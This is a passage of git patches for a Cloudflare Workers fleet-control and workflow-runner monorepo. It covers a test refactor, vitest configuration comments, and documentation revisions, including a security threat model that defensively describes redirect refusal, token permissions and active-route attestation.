+ }, maxDurationMs = 5 * 60_000, ) { this.#handler = handler; @@ -154,6 +156,8 @@ class FakeRouteApi implements PlainWorkerRouteApi { 'MAINTENANCE_ADMIN_SECRET', ]); secretRevocationNoop = false; + /** A detach the provider accepts while the custom domain survives it. */ + domainDetachNoop = false; afterDeleteControlSecret: ((secretName: string) => void) | undefined; secretListReads = 0; secretListError: Error | undefined; @@ -317,6 +321,7 @@ class FakeRouteApi implements PlainWorkerRouteApi { async detachCustomDomain(domainId: string): Promise { this.calls.push({ operation: 'detach', domainId }); + if (this.domainDetachNoop) return; this.domains = this.domains.filter((domain) => domain.id !== domainId); } @@ -2894,49 +2899,15 @@ export default { deleteDeploymentWorker(backend(runner, { routeApi })), ).rejects.toThrow(/remains after delete/); - const stickyRoute: PlainWorkerRouteApi = { - ...databaseRouteMethods(), - async listWorkerDatabaseAttachments() { - return []; - }, - async listOrdinaryWorkerSecretNames() { - return []; - }, - async deleteControlSecrets() {}, - async inspectActiveWorkerRoute(): Promise { - throw new Error('unused'); - }, - async listCustomDomains() { - return [ - { - id: 'sticky-domain', - hostname: deployment.routeHostname, - service: deployment.scriptName, - }, - ]; - }, - async inspectOrdinaryWorkerFootprint() { - return { - scriptPresent: true, - workersDevEnabled: false, - previewUrlsEnabled: false, - customDomains: [ - { - id: 'sticky-domain', - hostname: deployment.routeHostname, - service: deployment.scriptName, - }, - ], - zoneRoutes: [], - }; - }, - async listDurableObjectNamespaces() { - return []; + const stickyRoute = new FakeRouteApi([ + { + id: 'sticky-domain', + hostname: deployment.routeHostname, + service: deployment.scriptName, }, - attachCustomDomain: vi.fn(), - detachCustomDomain: vi.fn(), - disableOrdinaryWorkerPublicAccess: vi.fn(), - }; + ]); + stickyRoute.scriptPresent = true; + stickyRoute.domainDetachNoop = true; const stickyRunner = ownedWorkerRunner(); const stickySubject = backend(stickyRunner, { routeApi: stickyRoute }); await expect( diff --git a/packages/fleet-control/tsconfig.json b/packages/fleet-control/tsconfig.json index 9e91d3c2..d8adc7b0 100644 --- a/packages/fleet-control/tsconfig.json +++ b/packages/fleet-control/tsconfig.json @@ -5,7 +5,7 @@ "declarationMap": false, "noEmit": true, "types": ["node", "vitest/globals"], - // Copy-ready package specifiers resolve to source here; consumers keep the + // The package specifiers mapped here resolve to source; consumers keep the // same imports against the published package. "paths": { "@proofoftech/fleet-control": ["./src/index.ts"], diff --git a/packages/fleet-control/vitest.config.ts b/packages/fleet-control/vitest.config.ts index fb212243..37fbb3f9 100644 --- a/packages/fleet-control/vitest.config.ts +++ b/packages/fleet-control/vitest.config.ts @@ -7,7 +7,9 @@ export default defineConfig({ // `fleet-control-direct-scenario` (vitest.direct-scenario.config.ts), // which the package `test` script runs after this config and CI runs in // its own job beside `verify-core`. Listing them here as well would run - // them twice under `pnpm test`. + // them twice under `pnpm test`. That project is standalone: an option added + // here does not reach those two suites, so an option both projects need is + // written in both files. exclude: [ ...configDefaults.exclude, 'test/direct-credentialed-scenario.test.ts', @@ -15,18 +17,15 @@ export default defineConfig({ ], // Timeouts here bound hangs, not durations: no title asserts its own // duration, and the in-body watchdogs, races, and vi.waitFor bounds a few - // titles carry are hang detectors, not budgets. Two titles have run past - // vitest's 5 s default inside the full package suite (5.3 s observed): one - // in cloudflare-client-plain-worker.test.ts sleeps through the Cloudflare - // SDK's retry backoff and costs about 5 s regardless of load (the 15 s cap - // this default replaced had shielded it from the 5 s default); the other, - // in cross-backend-continuation.test.ts, runs about 2.8 s alone with real - // scratch-directory work and timed out at 5 s only when the forks pool - // shared the machine. Suites that drive real workerd set their own caps - // above this; the deliberately tight per-title caps that sit below it say - // so where they stand. hookTimeout stays at vitest's 10 s: the hooks that - // boot or close workerd set their own, and the rest are per-test teardowns - // that never touch workerd. + // titles carry are hang detectors, not budgets. Titles that sleep through + // the Cloudflare SDK's retry backoff, and titles that do real + // scratch-directory work while the forks pool shares the machine, run past + // vitest's 5 s default inside the full package suite (5.3 s at the slowest + // observed), so this default clears them. Suites that drive real workerd + // set their own caps above this; the deliberately tight per-title caps + // that sit below it say so where they stand. hookTimeout stays at vitest's + // 10 s: the hooks that boot or close workerd set their own, and the rest + // are per-test teardowns that never touch workerd. testTimeout: 20_000, }, }); diff --git a/packages/fleet-control/vitest.direct-scenario.config.ts b/packages/fleet-control/vitest.direct-scenario.config.ts index 21ec32c1..3608251a 100644 --- a/packages/fleet-control/vitest.direct-scenario.config.ts +++ b/packages/fleet-control/vitest.direct-scenario.config.ts @@ -2,16 +2,20 @@ import { defineConfig } from 'vitest/config'; // The direct credentialed scenario and the offline fence suite drive the // reference and tenant Workers through full scenario runs on local workerd; -// the pair takes about 35 minutes and needs the breakwater, flowsafe and -// fleet-control dists (the suites import @proofoftech/flowsafe subpaths that -// resolve into flowsafe's dist, and the observations module imports the -// fleet-control package). They are a root project of their own so CI can run -// them in the `direct-scenario` job beside `verify-core`, while `pnpm test` -// at the root and the package `test` script still run them with everything -// else. The package project (vitest.config.ts) excludes the same two files. +// the pair needs the breakwater, flowsafe and fleet-control dists (the suites +// import @proofoftech/flowsafe subpaths that resolve into flowsafe's dist, and +// the observations module imports the fleet-control package). They are a root +// project of their own so CI can run them in the `direct-scenario` job beside +// `verify-core`, while `pnpm test` at the root and the package `test` script +// still run them with everything else. The package project (vitest.config.ts) +// excludes the same two files. This configuration sits in the package rather +// than at the root because its include paths resolve against this directory +// and the package `test` script runs it by that path. // The project name below is the one the root scripts -// `test:without-direct-scenario` and `test:direct-scenario` and the CI job -// select; only the positive selection fails loudly when the names drift. +// `test:without-direct-scenario` and `test:direct-scenario` select. The root +// control in `scripts/architecture-positive-controls.test.mjs` pins the same +// literal, and `test:without-direct-scenario` runs that control through +// `pnpm run architecture:check`, so a name that drifts fails there. export default defineConfig({ test: { name: 'fleet-control-direct-scenario', @@ -19,8 +23,8 @@ export default defineConfig({ 'test/direct-credentialed-scenario.test.ts', 'test/direct-reference-fence.harness.test.ts', ], - // Same hang bound as the package project; both suites set their own - // per-title caps above it. + // Same hang bound as the package project, written out here because this + // project inherits nothing from vitest.config.ts. testTimeout: 20_000, }, }); From 2e6c585b94d78959ee9f72878efc3ebe0929a1a3 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 17 Sep 2026 03:56:21 +0400 Subject: [PATCH 166/169] chore: follow repository links in docs-check, correct the documents `markdownGraph` resolves an external target through `repositoryBlobTarget` rather than skipping it, so a document reached only by a `https://github.com/ProofOfTechOrg/anchorage/blob/main/` URL counts as reachable. On that absolute path `absoluteAnchorError` accepts GitHub's own line fragments (`#L12`, `#L12-L20` and the column-qualified forms) and defers to `anchorError` for anything else. `anchorError` takes the resolved target alone and reads its own anchor, which both call sites already passed. The suite gains no case: the two fragment-less cases fold into their anchored siblings, and their slots carry the line-fragment rule and a reachability case that follows an absolute link into the docs tree. `build-api-docs.mjs` changes one comment, which names Flowsafe's dist. The threat model states the credentialed transports' redirect policy under `## Provisioning boundary`, refusal by refusal; the database-export paragraph drops its copy of that sentence and the risk row summarizes the policy and links to the section. The active-route section leads with the attest-after-promotion invariant, names the migration plan's promote-and-settle steps and the two drivers that reach them, scopes `exactActiveVersionId` to the plain Worker backend, states the digest-only match for an expectation carrying the `pending` sentinel, and states that `promoteWorker` returns without waiting for the traffic split to converge. Its token grants read `Workers Scripts Edit` and `Workers R2 Storage Edit`, as `docs/fleet-control.md` spells them. The maintainer guide and the contribution guide state the `verify` gate as `ci.yml` asserts it: the gate requires a non-empty `needs` list and success from every job in that list. The guide also states that a push to `main` starts `ci.yml` and `release.yml` concurrently and that the release workflow does not wait for CI's result. The deployment reference points at the Fleet Control guide's roll-out procedure. The API reference qualifies the `do-runner/constants` row as suspension-deadline values, lists that entry and `do-runner/testing` among the browser-safe imports, and names the `do-runner` entry in the server list. `do-runner-design.md` separates a deadline request derived from a summary from the record the run object armed. Co-Authored-By: Claude Fable 5.1 --- CONTRIBUTING.md | 3 +- docs/api-reference.md | 5 ++-- docs/deployment-reference.md | 2 ++ docs/do-runner-design.md | 4 +-- docs/maintainer-guide.md | 10 ++++--- docs/security-threat-model.md | 18 ++++++----- scripts/build-api-docs.mjs | 4 +-- scripts/docs-check.mjs | 56 +++++++++++++++++++++-------------- scripts/docs-check.test.mjs | 55 +++++++++++++++++++++++----------- 9 files changed, 97 insertions(+), 60 deletions(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index a8f0c400..4128e81d 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -71,7 +71,8 @@ directory when a `.github/**/*.{yml,yaml}` file is staged (lint-staged); pre-push runs react-doctor on the branch's changed files (`pnpm react-doctor:diff`; bypass with `git push --no-verify`). CI also runs a non-blocking compatibility probe against the newest `@mastra/core` 1.x release. -A `verify` gate job requires both `verify-core` and `direct-scenario` to succeed. +The `verify` gate job requires every job in its `needs` list to succeed, +`verify-core` and `direct-scenario` among them. The showcase app uses mandatory absolute imports — `@/*` for `src`, `#worker/*` for worker modules, `@flowsafe/*` for deep flowsafe source diff --git a/docs/api-reference.md b/docs/api-reference.md index 3cef8f70..d5e853b8 100644 --- a/docs/api-reference.md +++ b/docs/api-reference.md @@ -44,7 +44,7 @@ New host-side and React features remain subpath-only so importing the root does | `@proofoftech/flowsafe/artifacts` | R2 artifact store and in-memory bucket | | `@proofoftech/flowsafe/audit-export` | Queue producer sink and NDJSON SIEM consumer | | `@proofoftech/flowsafe/do-runner` | Runtime, Durable Object classes, D1 storage, deployment sentinel and caller attestation, identity helpers, pub/sub, retention, run summaries, execution fence, start reservations, and drain inventory | -| `@proofoftech/flowsafe/do-runner/constants` | Deadline values, duration validation, and timeout detection without the runner graph | +| `@proofoftech/flowsafe/do-runner/constants` | Suspension deadline values, duration validation, and timeout detection without the runner graph | | `@proofoftech/flowsafe/do-runner/testing` | Timeout resume fixtures for workflow tests | | `@proofoftech/flowsafe/goals` | Objective HTTP router and goal request-context contract | | `@proofoftech/flowsafe/host-kit` | Authenticator and verifier seams, run/thread/hub/provider topologies, routes, approval bridges, tickets, composed Worker, and execution-fence and inventory admin routes | @@ -88,12 +88,13 @@ Safe browser imports: - `@proofoftech/flowsafe/approval-ui` - `@proofoftech/flowsafe/signals/client` +- `@proofoftech/flowsafe/do-runner/constants` and `@proofoftech/flowsafe/do-runner/testing`, which carry the suspension deadline values, duration predicate, timeout detector and fixture minter without the runner graph - `ApprovalApiClient` and structural client types Server or Worker imports: - breakwater processors and connector SDK -- flowsafe approval API, agent host, runner, host kit, agents, schedules, signals, providers, tasks, artifacts, and audit export +- flowsafe approval API, agent host, the `@proofoftech/flowsafe/do-runner` entry, host kit, agents, schedules, signals, providers, tasks, artifacts, and audit export Node-only execution: diff --git a/docs/deployment-reference.md b/docs/deployment-reference.md index dd6c8b9a..fc591cd4 100644 --- a/docs/deployment-reference.md +++ b/docs/deployment-reference.md @@ -189,6 +189,8 @@ Set `mutationEpoch` on `createFlowsafeWorker()` to a nonnegative safe-integer nu The topologies stamp `x-flowsafe-mutation-epoch` for internal calls, replacing or removing incoming values. `createActorResolver()` refuses that header on public requests. Both Durable Object shells capture it before deployment verification and decode the captured value only afterward. +The Fleet Control guide carries the procedure that applies this configuration: [roll out an artifact under the execution fence](fleet-control.md#roll-out-an-artifact-under-the-execution-fence) coordinates the epoch with a bounded migration of one deployment. + Fenced Runtime starts enforce the captured caller epoch at the initial D1 write and bind their generated execution identity with the winning claim and proof. Both hosts journal preparation and recover only exact owned generations. Generation-aware retention still requires implementation and acceptance before enabling artifact epochs across the deployment. An explicitly unfenced Runtime retains ordinary persistence and supplies no atomic fence guarantee. Custom run-router idempotency wiring must supply the topology's private `persistedStart(workflowId, runId)` callback alongside its store, fence and liveness probe. It carries one observed identity/result internally; ordinary public status is not a substitute. Use `claimReservation`, `releaseReservation`, `associateReservation`, `bindPreparedStart` and `settleExecution` with their exact observations. The old run-only methods and HTTP rollback helper are removed. diff --git a/docs/do-runner-design.md b/docs/do-runner-design.md index 351030ce..f36b328e 100644 --- a/docs/do-runner-design.md +++ b/docs/do-runner-design.md @@ -354,7 +354,7 @@ Branch on `isSuspensionTimeoutResumeData()` rather than the literal key. A step The `@proofoftech/flowsafe/do-runner/constants` entry exports `isArmableSuspensionDeadlineMs` with the deadline values and timeout detector. It uses the same duration predicate as deadline arming. The constants and testing entries load without the runner, Core, D1 adapter or jose runtime modules. -Use `suspensionDeadlinesOf(summary)` from `@proofoftech/flowsafe/do-runner` to inspect a `RunSummary`. It returns `{ entries, rejected }` without changing the summary or scheduling an alarm. The entries use suspension time and resume ordinal from that summary; obtaining an entry does not authorize a resume. The runner still checks authoritative state before acting. +Use `suspensionDeadlinesOf(summary)` from `@proofoftech/flowsafe/do-runner` to inspect a `RunSummary`. It returns `{ entries, rejected }` without changing the summary or scheduling an alarm. Each entry is a deadline request derived from that summary, not a reading of the armed record the run object holds. The entries use suspension time and resume ordinal from that summary; obtaining an entry does not authorize a resume. The runner still checks authoritative state before acting. A duration accepted by the predicate is insufficient to arm a deadline by itself. Derivation also requires a suspended run, an unambiguous top-level step and a usable suspension fence. Nested or ambiguous paths are refused as described above. Missing requests produce no entry, while invalid requests appear in `rejected` with their step and reason. `MAX_SUSPENSION_DEADLINES_PER_RUN` bounds the result. Use `SuspensionDeadlineEntry` and `RejectedSuspensionDeadline` from the main runner entry for these projections; the record parser and retry operations remain internal. @@ -385,7 +385,7 @@ Behavior worth knowing before relying on it: - A wake with a record in hand that cannot read authoritative state keeps that record: it re-arms nothing, keeps the 60 second cadence, and the entry is charged only once a wake that could read finds it due. On a wake with NO record, a read that succeeds with null converges instead — there is nothing to keep, so the wake arms nothing and deletes the alarm. Both of those are bounded and self-healing, though during a storage incident the affected population is every suspended run whose object takes a wake. Two cases are neither. A wake with NO record whose read THROWS has no record to keep, no entry to charge and none to stamp, so it keeps the 60 second heartbeat with no terminator until the read heals or the isolate is evicted. That is accepted rather than converged — converging it would delete the alarm of a run whose deadline record a failed boundary write never landed, which is the failure that retry wake exists for — and reaching it takes a retry wake followed by the run's workflow itself going unreadable for good. A wake whose `build(env)` throws is the other, and it needs no record at all: a misconfigured binding fails before any entry is in hand, so the wake charges nothing and stamps nothing — not even the 24 hour clock, which runs only on entries a failed READ found due — and it too keeps the 60 second heartbeat with no terminator until the deployment is fixed. That is deliberate: the fault is the host's and says nothing about any deadline, and the alternative is tombstoning every live deadline of the run over a configuration mistake. - The resume records `requestedByKind: 'system'` and the reserved principal id `flowsafe-suspension-deadline`, and broadcasts the new summary like any other resume. - A timeout resume is NOT an approval decision. It mints no grant and records no reviewer. A step that gates a privileged action must treat the timeout branch as a denial, an escalation, or a no-op — never as consent. -- An armed deadline is not observable through `RunSummary` in v1. The record lives in the run object's own storage, no route projects it, and the bounds that describe it are exported so a consumer can validate its own `deadlineMs` before arming, while `MAX_SUSPENSION_DEADLINES_PER_RUN` is exported as an operational figure rather than as something to check a deadline against. The workerd spike needs a test-only introspection route on its Durable Object precisely because nothing else can see the armed state. +- An armed deadline is not observable through `RunSummary` in v1. `suspensionDeadlinesOf` reports the deadline requests a summary carries, not which of them the object armed. The record lives in the run object's own storage, no route projects it, and the bounds that describe it are exported so a consumer can validate its own `deadlineMs` before arming, while `MAX_SUSPENSION_DEADLINES_PER_RUN` is exported as an operational figure rather than as something to check a deadline against. The workerd spike needs a test-only introspection route on its Durable Object precisely because nothing else can see the armed state. - A timeout resume takes no host route, so the hooks a resume normally passes through do not fire for it: `RunRouterOptions.beforeResume` cannot vet it (the run object resumes itself), and `RunRouterOptions.reconcileApprovals` / `reconcileApprovalsForSummary` do not run at that moment. An approval record filed for the expired suspension therefore stays open until a later host status read reconciles it, where the `(suspendedAt, resumeCount)` binding it already carries shows the suspension moved on. Nothing decides that approval, and nothing acts on a decision arriving late. - A `foreach` step arms one deadline for the step as a whole, because one suspended path with one fence is all either projection reports for it. A default `foreach` is sequential: one iteration is suspended at a time, so each iteration's suspension gets its own deadline and clearing a whole `foreach` by timeout takes one deadline per item. With `concurrency` above 1, up to `concurrency` iterations suspend at once behind that one path, one `suspendedAt`, and the FIRST suspended iteration's payload, so only that iteration's `deadlineMs` is read per batch; the timeout resume delivers the envelope to every iteration suspended at that moment (at most `concurrency` of them), iterations not yet started then suspend afresh with their own deadline, and clearing the whole `foreach` takes `ceil(items / concurrency)` deadlines. - Wake precision is the Durable Object alarm's, near the requested time rather than exact. There is no maintenance-sweep backstop, so a lost alarm is a lost deadline; run-level `deadlineMs` remains the swept mechanism. The record itself is a separate best-effort write made after Mastra has persisted the suspension, not part of it: a write that fails leaves a 60 second retry wake. Every wake that does not resume — that retry wake included — ends by re-deriving the run's deadlines from an authoritative read; the stored record is only the identity fallback for an object that carries no name, never the source the wake trusts over authoritative state. One re-derivation is not made from an authoritative read: the terminal deadline route's non-finalizing branch — the CAS-stale answer, and the already-cleaned-up replay — reconciles from `result.summary`, which `timeOutAsPrincipal` produced with a post-persist `getWorkflowRunById`, the read Mastra can answer from its in-memory fallback. A marked answer there would derive nothing and clear a record for a run that is still suspended. It is not guarded mechanically because reaching it takes that second read flipping to the fallback inside one held run lock, after the snapshot read the branch opens with has already succeeded on the same store; and if it ever did, the run's own next boundary or wake re-derives what was dropped, since the record is bookkeeping about a suspension the snapshot still holds. diff --git a/docs/maintainer-guide.md b/docs/maintainer-guide.md index 9badc1d2..8bd092b4 100644 --- a/docs/maintainer-guide.md +++ b/docs/maintainer-guide.md @@ -20,7 +20,7 @@ The workspace requires Node 22.22.0 or later and pnpm 10.16 or later. `packageMa ## Verification -The commands below mirror the CI `verify-core` job after dependency installation, in order; `pnpm test` also covers the direct scenario project that CI runs in its own `direct-scenario` job, and a `verify` gate job requires both: +The commands below mirror the CI `verify-core` job after dependency installation, in order; `pnpm test` also covers the direct scenario project that CI runs in its own `direct-scenario` job, and the `verify` gate job requires every job in its `needs` list, these two among them, to succeed: ```bash pnpm github:check @@ -154,6 +154,8 @@ Repository administrators separately own: - branch protection and required checks. Do not change those external controls as a side effect of an unrelated code change. -The required check on `main` is `verify`, the gate job in `ci.yml` that succeeds -only when `verify-core` and `direct-scenario` both succeed; a new gating job joins -that gate's `needs` list, not the ruleset. +The `protect main` ruleset requires the status check named `verify`, the gate job +in `ci.yml`; it fails unless its `needs` list carries at least one job and every +job in that list reports success, so a new gating job joins the list, not the +ruleset. A push to `main` starts `ci.yml` and `release.yml` concurrently, and the +release workflow does not wait for CI's result. diff --git a/docs/security-threat-model.md b/docs/security-threat-model.md index dcac9262..56563d02 100644 --- a/docs/security-threat-model.md +++ b/docs/security-threat-model.md @@ -120,9 +120,11 @@ Audit events can contain actor, workflow, run, deployment, connector, and denial Physical isolation replaces request-level tenant predicates. The following invariants define the boundary. +The account SDK and raw transport, the plain Worker maintenance transport, and the Workers for Platforms maintenance transport force manual redirect handling after the caller's `init`, so a call site cannot opt into following a redirect to an address the control plane did not choose. Where each refusal sits follows what reads the response: the raw dispatch script page refuses a redirect status where it reads the raw response, and the Workers for Platforms maintenance transport refuses one in its wrapper, because its callers read only the signed receipt header; the SDK-routed callers classify the status themselves, and a plain Worker maintenance response that is not ok is refused by `readMaintenanceHealth`. + ### Direct Cloudflare API backend -`CloudflareApiPlainWorkerBackend` runs only in the trusted control plane. Give its `CloudflareProvisioningClient` an account-scoped token limited to the account it provisions. The direct backend needs `Workers Scripts Write`, `D1 Edit`, `Zone Read`, `Workers Routes Read`, `Workers Routes Write`, and `API Tokens Read`. Add [`Workers R2 Storage Write`](https://developers.cloudflare.com/r2/api/tokens/#permission-groups) only when the fleet provisions application R2 buckets. Cloudflare requires `D1 Edit` for HTTP API writes, including identity seeding and ledgered migrations. +`CloudflareApiPlainWorkerBackend` runs only in the trusted control plane. Give its `CloudflareProvisioningClient` an account-scoped token limited to the account it provisions. The direct backend needs `Workers Scripts Edit`, `D1 Edit`, `Zone Read`, `Workers Routes Read`, `Workers Routes Write`, and `API Tokens Read`. Add [`Workers R2 Storage Edit`](https://developers.cloudflare.com/r2/api/tokens/#permission-groups) only when the fleet provisions application R2 buckets. Cloudflare requires `D1 Edit` for HTTP API writes, including identity seeding and ledgered migrations. The direct backend's client paths call these Cloudflare API route families: @@ -136,7 +138,7 @@ The direct backend's client paths call these Cloudflare API route families: Every provider page and request reserves shared quota, and every inventory has a hard item bound. An over-bound inventory fails instead of truncating. Under Workers for Platforms, namespace-list failures, including `404`, propagate and block destructive teardown. Under a plain-only client, only a first-page `404` or an exhaustive empty result proves that no dispatch namespace exists; a later `404` and every other failure block destructive D1 or R2 teardown. -The SDK runs with logging disabled even when `CLOUDFLARE_LOG` requests debug output. Upload errors replace intent secret values before the error enters a mutation outcome. That redaction knows only exact plaintext secret values from the upload intent; a consumer-injected fetch that echoes request headers into an error can surface the account token, so supply that fetch only from trusted control-plane code. The Cloudflare SDK can also throw a consumer-controlled value while coercing a rejected transport value before wrapping it; that value can carry request data and bypass upload-error redaction, while hostile values can make API-error recognition or sanitization throw another value instead. Database export failures discard provider messages, response bodies, headers, signed URLs, and original causes. The account SDK and raw transport, the plain Worker maintenance transport, and the Workers for Platforms maintenance transport each refuse to follow a redirect at the transport, and the signed URL is additionally parsed, downloaded with no authorization header, hashed, and compared with the durable store's committed size and digest inside one redaction boundary. +The SDK runs with logging disabled even when `CLOUDFLARE_LOG` requests debug output. Upload errors replace intent secret values before the error enters a mutation outcome. That redaction knows only exact plaintext secret values from the upload intent; a consumer-injected fetch that echoes request headers into an error can surface the account token, so supply that fetch only from trusted control-plane code. The Cloudflare SDK can also throw a consumer-controlled value while coercing a rejected transport value before wrapping it; that value can carry request data and bypass upload-error redaction, while hostile values can make API-error recognition or sanitization throw another value instead. Database export failures discard provider messages, response bodies, headers, signed URLs, and original causes. The signed URL is parsed, downloaded with no authorization header, hashed, and compared with the durable store's committed size and digest inside one redaction boundary. Unset `CLOUDFLARE_CUSTOM_HEADERS` in the provisioning host unless every configured header is intended for all SDK requests. Cloudflare SDK 7 reads that process variable as ambient default headers, outside the backend's explicit options. @@ -222,11 +224,11 @@ Every routine work selection and pending response currently validates the entire ### Active-route attestation -The threat is traffic served by a version or script the control plane did not attest, whether from a staged traffic split, a stale or duplicated route, a hostname mapping that resolves to a different physical script, or an external writer changing routing between the control plane's read and its write. Promotion publishes a release; it does not establish which release serves traffic. Active-route attestation reads provider routing state rather than the candidate `inspect()` reports: the plain Worker backend reads the deployment traffic split and then the routed version's specification-digest binding, and the Workers for Platforms backend resolves the hostname mapping, then the routed physical script, then that script's digest. +The control plane attests the active route after promotion and refuses to record a release as ready when the routing it reads disagrees; the threat is traffic served by a version or script it did not attest, whether from a staged traffic split, a route that still names the previous release, a hostname mapping that resolves to a different physical script, or an external writer changing routing between the control plane's read and its write. Promotion publishes a release; it does not prove which release serves traffic. Active-route attestation reads provider routing state rather than the candidate `inspect()` reports: the plain Worker backend reads the deployment traffic split and then the routed version's specification-digest binding, and the Workers for Platforms backend resolves the hostname mapping, then the routed physical script, then that script's digest. -Initial provisioning, the `migrateFleet()` branches, and `rollbackExternalRelease()` attest after promotion, reaching `attestConvergedActiveRoute()` through `settlePromotedRoute` on the migration and rollback paths. That helper retries an unconverged read — a stale routed release, a route mapping not yet visible, a routed artifact whose digest binding is not yet readable — inside a bounded budget, and raises `ActiveRouteAttestationError` when the budget expires without an observation matching the expected specification digest and artifact version. `exactActiveVersionId` requires the traffic split to name the routed version at a full share and refuses a split that names a version beside it, so a staged split is refused rather than resolved by highest share. `attestFleetRecordActiveRoute()` performs the same provider read for a host rendering drift, and reports a disagreement instead of refusing it. +Initial provisioning, the migration plan's promote-and-settle steps — reached by `migrateFleet()` and by `advanceFleetMigration()` — and `rollbackExternalRelease()` attest after promotion, reaching `attestConvergedActiveRoute()` through `settlePromotedRoute` on the migration and rollback paths. That helper retries an unconverged read — a stale routed release, a route mapping not yet visible, a routed artifact whose digest binding is not yet readable — inside a bounded budget, and raises `ActiveRouteAttestationError` when the budget expires without an observation matching the expected specification digest and artifact version; an expectation carrying the `pending` sentinel in place of an artifact version is matched on the digest alone. On the plain Worker backend, `exactActiveVersionId` requires the traffic split to name the routed version at a full share and refuses a split that names any second version, so a staged split is refused rather than resolved by highest share. `attestFleetRecordActiveRoute()` performs the same provider read for a host rendering fleet state, and reports a disagreement instead of refusing it. -The convergence budget bounds the wait, not the traffic. `PlainWorkerBackend.promoteWorker` returns once the provider acknowledges the deployment creation, and attestation reads routing state afterwards, so an attestation can observe routing that the promotion has not converged. The exposed window runs from the promotion that moves traffic until an attestation matches the expected specification digest and artifact version, or the operation refuses; `convergenceBudgetMs` bounds the retry loop inside one `attestConvergedActiveRoute()` call, not that window. `advanceFleetMigration()` commits the promotion step and the attestation step as separate advances — `ready-promote` before `ready-attest-settle`, `platform-only-promote` before `platform-only-ready`, `promote` before `settle-ready` — so on that path the host driver's cadence between advances bounds the window, and Fleet control does not. Traffic can reach a version the control plane has not attested inside that window; what fails closed is the operation, which refuses to record the release as ready when the budget expires without a matching observation. A routing change by another authorized account token is one instance of the residual stated under [Dedicated control-plane Worker](#dedicated-control-plane-worker): attestation observes such a write on its next read rather than excluding it. For the call sites and their provider-read cost, see [active-route attestation](fleet-control.md#attest-the-active-route). +`PlainWorkerBackend.promoteWorker` returns without waiting for the deployment's traffic split to converge, and attestation reads routing state afterwards, so an attestation can observe routing that the promotion has not converged. The exposed window runs from the promotion that moves traffic until an attestation matches what the operation expects, or the operation refuses; `convergenceBudgetMs` bounds the retry loop inside one `attestConvergedActiveRoute()` call, not that window. `advanceFleetMigration()` commits the promotion step and the attestation step as separate advances — `ready-promote` before `ready-attest-settle`, `platform-only-promote` before `platform-only-ready`, `promote` before `settle-ready` — so on that path the host driver's cadence between advances bounds the window, and Fleet control does not. Traffic can reach a version the control plane has not attested inside that window; what fails closed is the operation, which refuses to record the release as ready. A routing change by another authorized account token is one instance of the residual stated under [Dedicated control-plane Worker](#dedicated-control-plane-worker): attestation observes such a write on its next read rather than excluding it. For the call sites and their provider-read cost, see [active-route attestation](fleet-control.md#attest-the-active-route). ### Deployment sentinel @@ -329,7 +331,7 @@ A host with only one human reviewer must consciously choose availability or sepa | Provider alarm lost after subscription | Post-commit reconcile callback and retryable mutation-applied response | Hosts that omit reconciliation must arm polling themselves | | Duplicate connector side effect | Collision-proof v2 keys, fail-closed legacy inspection, atomic idempotency lease, and shared store | Poor business keys or too-short pending TTL can still duplicate | | One workload exhausts the deployment budget | Deployment-wide D1 rate state and host-set limits | Fixed-window boundary burst remains | -| Connector redirects to attacker host | Manual per-hop guarded fetch | Transport outside runtime fetch is invisible; connectors declare `egressEnforcement: 'declaration-only'`, readable through `connectorEgressPosture()` and audited as `detail.egressEnforcement` | +| Connector redirects to attacker host | Manual per-hop guarded fetch | Transport outside runtime fetch is invisible; such a connector declares `egressEnforcement: 'declaration-only'`, readable through `connectorEgressPosture()` and audited as `detail.egressEnforcement` | | Credentials forwarded on redirect | Cross-origin credential-header stripping | Connector body may itself contain secrets | | Prompt becomes CLI flag | Wrapper-owned `--` and `--flag=value` | Vendor semantics can change; packed consumer tests pin current definitions | | Prompt/output leaks in error or audit | Static errors, redacted command, bounded metadata, safe audit registry | Successful functional text remains sensitive and caller-owned | @@ -340,8 +342,8 @@ A host with only one human reviewer must consciously choose availability or sepa | Application Worker binds another deployment's R2 bucket | Fleet-derived names, permanent ownership claims, persisted create authorization, and exact binding inventory | Control-plane compromise remains inside the trusted computing base | | Application secret changed outside fleet control | Trusted plaintext input is digest-checked before upload; inventory attests the exact secret-name set | Cloudflare exposes no value digest, so recurring audit cannot detect value-only drift | | Deployment decommissioning races new work | Revoke traffic and credentials before deleting the resource set | In-flight work can return errors during the drain | -| Provisioning credential follows a redirect to an attacker host | The account SDK and raw transport, the plain Worker maintenance transport, and the Workers for Platforms maintenance transport force manual redirect handling after the caller's init; the raw dispatch page and the Workers for Platforms maintenance calls, which read a response the transport does not classify, refuse a redirect status outright | A consumer-injected fetch that follows redirects on its own returns the final response, which the wrapper cannot distinguish from a direct answer | -| Traffic served by a version or script the control plane did not attest | Active-route attestation runs after promotion on the package's provisioning, migration and rollback paths: `attestConvergedActiveRoute()` reads provider routing state, retries an unconverged read inside a bounded budget, and raises `ActiveRouteAttestationError` when the routed release still disagrees with the expected specification digest and artifact version, so the operation refuses instead of recording the release as ready | An unattested version can serve traffic from the promotion until an attestation matches or the operation refuses; `convergenceBudgetMs` bounds that attestation's own retry, and `advanceFleetMigration()` commits the promotion step and the attestation step as separate advances, so the host driver's cadence between advances, not the budget, bounds that interval; routing changed by another authorized account token is reported by the next attestation rather than prevented, and a Fleet lease does not lock out that writer | +| Provisioning credential follows a redirect to an attacker host | The credentialed provisioning transports force manual redirect handling after the caller's init, and each refusal sits where the response is read without its status being classified — see [provisioning boundary](#provisioning-boundary) | A consumer-injected fetch that follows redirects on its own returns the final response, which the wrapper cannot distinguish from a direct answer; the package's own `createEgressProxyFetch` takes the other branch — the proxy refuses the redirect and answers `502`, which provider classification reads as transient and the dispatch-page scan retries, so that refusal reaches the caller as a transient provider failure rather than as a redirect refusal | +| Traffic served by an unattested version or script | Active-route attestation runs after promotion on the package's provisioning, migration and rollback paths: `attestConvergedActiveRoute()` reads provider routing state, retries an unconverged read inside a bounded budget, and raises `ActiveRouteAttestationError` when the routed release still disagrees with what the operation expects, so the operation refuses instead of recording the release as ready | An unattested version can serve traffic from the promotion until an attestation matches or the operation refuses; `convergenceBudgetMs` bounds that attestation's own retry, and `advanceFleetMigration()` commits the promotion step and the attestation step as separate advances, so on that path the host driver's cadence between advances, not the budget, bounds that interval; routing changed by another authorized account token is observed by the next attestation rather than prevented, and a Fleet lease does not lock out that writer | | Audit sink outage blocks agent | 